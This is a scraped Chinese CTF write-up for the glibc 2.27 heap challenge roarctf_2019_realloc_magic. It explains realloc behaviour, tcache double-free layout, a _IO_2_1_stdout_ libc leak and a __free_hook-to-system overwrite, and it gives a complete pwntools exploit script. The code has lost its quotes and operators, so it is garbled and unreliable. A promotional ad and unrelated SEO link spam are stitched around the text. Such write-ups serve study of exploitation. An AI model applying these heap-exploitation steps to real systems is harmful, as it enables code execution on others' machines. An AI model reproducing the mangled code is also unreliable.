当前位置: 首页 > news >正文

足球网站建设意义企业网站建设参考资料

足球网站建设意义,企业网站建设参考资料,排名好的网站开发,网线制作的心得体会本题主要介绍realloc函数#xff0c;平时我们使用realloc最多便是在打malloc_hook–onegadget的时候#xff0c;使用realloc_hook调整onegadget的栈帧#xff0c;从而getshell。 在realloc函数中#xff0c;也能像malloc一样创建堆#xff0c;并且比malloc麻烦一些平时我们使用realloc最多便是在打malloc_hook–onegadget的时候使用realloc_hook调整onegadget的栈帧从而getshell。 在realloc函数中也能像malloc一样创建堆并且比malloc麻烦一些但是倒是挺有趣的 realloc realloc(realloc_ptr, size)有两个参数并且在特定参数有特定效果 size 0 这个时候等同于free。也就是free(realloc_ptr)并且返回空指针。即没有uafrealloc_ptr 0 size 0 这个时候等同于malloc,即malloc(size)malloc_usable_size(realloc_ptr) size 这个时候等同于editmalloc_usable_size(realloc_ptr) szie 这个时候才是malloc一块更大的内存将原来的内容复制过去再将原来的chunk给free掉 stdout泄露 这里我只给出结论具体可以参考 设置_flags _IO_NO_WRITES 0 设置_flags _IO_CURRENTLY_PUTTING 1 设置_flags _IO_IS_APPENDING 1 _flags 0xFBAD1800设置_IO_write_base指向想要泄露的位置_IO_write_ptr指向泄露结束的地址(不需要一定设置指向结尾程序中自带地址足够泄露libc) 具备以上基础我们可以来实战一题了 roarctf_2019_realloc_magic Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled64位保护全开 前情提要 本题部署在2.27-3ubuntu1_amd64/libc-2.27.so 建议关闭linux地址空间随机化(ASLR)方便调试。 在root用户下执行 echo 0 /proc/sys/kernel/randomize_va_spacerealloc int re() {unsigned int size; // [rspCh] [rbp-4h]puts(Size?);size get_int();realloc_ptr realloc(realloc_ptr, size);puts(Content?);read(0, realloc_ptr, size);return puts(Done); }free int fr() {free(realloc_ptr);return puts(Done); }存在uaf可以利用起来 这里有个清零指针的函数 int ba() {if ( lock )exit(-1);lock 1;realloc_ptr 0LL;return puts(Done); }程序特别简单但是利用比较精妙 在realloc的时候因为每次都是使用realloc_ptr并且没有变化导致每次申请的chunk都会写在在realloc_ptr指向的地址再次申请比上一次的size大就可以往后溢出写 帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS 思路 通过realloc和uaf构造好tcache的布局 然后把_IO_2_1_stdout 链到bin里面通过stdout泄露libc得到free_hook 最后正常打free_hookfree_hook--system--/bin/sh 首先利用malloc(size)和free(size)在tcache上面先准备好 malloc(size)可以由realloc(realloc_ptr,size)得到本文上面的第二个效果 free(size)可以由realloc(realloc_ptr,size0)得到本文上面的第一个效果) realloc(0x20,bb) #这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备 realloc(0,) realloc(0x90,bb) realloc(0,) realloc(0x10,bb) realloc(0,)realloc(0x90,bb) for i in range(7):dele() realloc(0,)这一步非常重要首先将0x90的地址申请回来赋值给realloc_ptr在通过uaftcache double free free掉7次填满tcache bin然后再free一次使0x90进入到unsortedbin把main_arena链进来 为什么第八次free需要使用realloc去free呢 因为首先是因为用来链上unsortedbin其次用来清空掉realloc_ptr指针不影响后面的chunk使用 看一下此时的堆空间 realloc(0x20,baaa) plp64(0)*5p64(0x81)b\x60\xc7 #realloc(0x50,baaa) #这里的注释是用来方便看你申请的堆放哪里去了可以自己看一下 realloc(0x50,pl)这里看上面图片的堆布局如果你用了注释看了一下gdb就知道为什么这样摆了 后面申请的0x50是因为能刚好申请到更改unsortedbin的范围大一点也没关系 首先改chunkB也就是我们放入unsortedbin的chunk改掉size值可以结合realloc(0)多一次malloc 后面的\x60\xc7看图就知道了 _IO_2_1_stdout_跟main_arena相差了4位并且低三位是固定的只需要爆破一位 因为我关闭了ASLR所以直接\x60\xc7打本地不用爆破一次通(x) 直接看成果图 可以发现成功链上了_IO_2_1_stdout_接下来我们只需要把他申请回来就行 realloc(0,) realloc(0x90,baa) realloc(0,) plp64(0xfbad1887)p64(0)*3b\x58 realloc(0x90,pl)这里就涉及到_IO_2_1_stdout_泄露libc了下图都还没改的 0xfbad1887照着原来的就行低两位高地址就是取我们设定好的0xFBAD1800 这里前面的_IO_read_xx用p64(0)填充掉然后利用_IO_write_base设置指向想要泄露位置比如说改成\x58 也就是 把_IO_file_jumps泄露出来就可以计算libc别的位置都可以只需要是能算libc的即可 然后算出free_hooksystem的libc地址 接下来首先先用给的清理realloc_ptr的函数将realloc_ptr置0 sla(menu,666)realloc(0x30,ba) realloc(0,) realloc(0xa0,ba) realloc(0,) realloc(0x10,bb)#2 realloc(0,) realloc(0xa0,bb) for i in range(7):dele() realloc(0,) realloc(0x30,ba)plp64(0)*7p64(0x71)p64(free-8) realloc(0x70,pl) realloc(0,) realloc(0xa0,ba) realloc(0,) realloc(0xa0,b/bin/sh\x00p64(sys)) dele()free-8是为了放好/bin/sh然后顺便下一个将free_hook改成system 完整exp: from pwn import*def debug(cmd 0):if cmd 0:gdb.attach(r)else:gdb.attach(r,cmd)pause()menub def realloc(size,con):r.sendlineafter(menu, b1)r.sendlineafter(bize,str(size))r.sendafter(bent,con) def dele():r.sendlineafter(menu,b2)libcELF(libc-2.27.so)context(oslinux, archamd64,log_leveldebug)def pwn():realloc(0x20,bb)realloc(0,)realloc(0x90,bb)realloc(0,)realloc(0x10,bb)realloc(0,)realloc(0x90,bb)for i in range(7):dele()realloc(0,)realloc(0x20,baaa)payloadp64(0)*5p64(0x81)b\x60\xc7#realloc(0x50,baaa)realloc(0x50,payload)realloc(0,)realloc(0x90,baa)realloc(0,)payloadp64(0xfbad1886)p64(0)*3b\x58realloc(0x90,payload)#debug()leaku64(r.recvuntil(b\x7f)[-6:].ljust(8, b\x00))-libc.sym[_IO_file_jumps]print(hex(leak))freeleaklibc.sym[__free_hook]systemleaklibc.sym[system]r.sendlineafter(menu,666)realloc(0x30,ba)realloc(0,)realloc(0xa0,ba)realloc(0,)realloc(0x10,bb)#2realloc(0,)realloc(0xa0,bb)for i in range(7):dele()realloc(0,)realloc(0x30,ba)payloadp64(0)*7p64(0x71)p64(free-8)realloc(0x70,payload)realloc(0,)realloc(0xa0,ba)realloc(0,)realloc(0xa0,b/bin/sh\x00p64(system))dele()r.interactive()for i in range(1):try:rprocess(./pwn)pwn()breakexcept:r.close()
http://www.pierceye.com/news/55921/

相关文章:

  • 网站怎么注册啊动画制作专业就业前景
  • 营销型网站怎么建设js网站跳转代码
  • 福建城建设厅官方网站公司网站建设费会计处理
  • 深圳建设网站龙岗网站建设网页设计与制作课程思政
  • 建筑公司网站建设方案网站怎么建设
  • 如何搭建一个自己上传视频的网站做微商网站发帖免费教程
  • 建设部标准规范网站成考报名系统入口官网
  • 国外哪个网站做c 挣钱购物网站开发 项目描述
  • 中国企业网站建设网站如何去分析
  • 网站建设好后能修改吗佛山 技术支持 骏域网站建设
  • 网站开发是什重庆网站网络推广推广
  • 汕头网站开发企业查询官网免费查询一下
  • 文明网i中国精神文明建设门户网站seo优化课程
  • 乐从网站建设公司自建的电子网站如何做推广
  • 电子商务网站建设与管理的考试html做网站经验技巧
  • 创建qq网站吗郑州华久做网站
  • 网店怎么做网站seo啥意思怎么做
  • 专业做网站优化需要多久劳务公司网站建设方案
  • 门户网站建设厂商名录苏州seo排名公司
  • 四个平台建设网站不显示图片用群晖nas做网站
  • 怎么查询网站的点击量济南网站优化收费标准
  • 移动端减肥网站模板资源网站后台系统
  • h5响应式网站是什么网店美工课本
  • 城市建设理论研究官方网站十堰做网站的工作室
  • 网站为什么维护中收费电影网站怎么做
  • 搭建网站兼职图片展示网站模板
  • 哪个网站做外贸生意怎么制作商城小程序
  • 遂宁建设网站贵阳做网站费用
  • 化妆品 营销型网站自己做网站前端开发
  • 集团网站制作方案ppt海口专业网站建设地址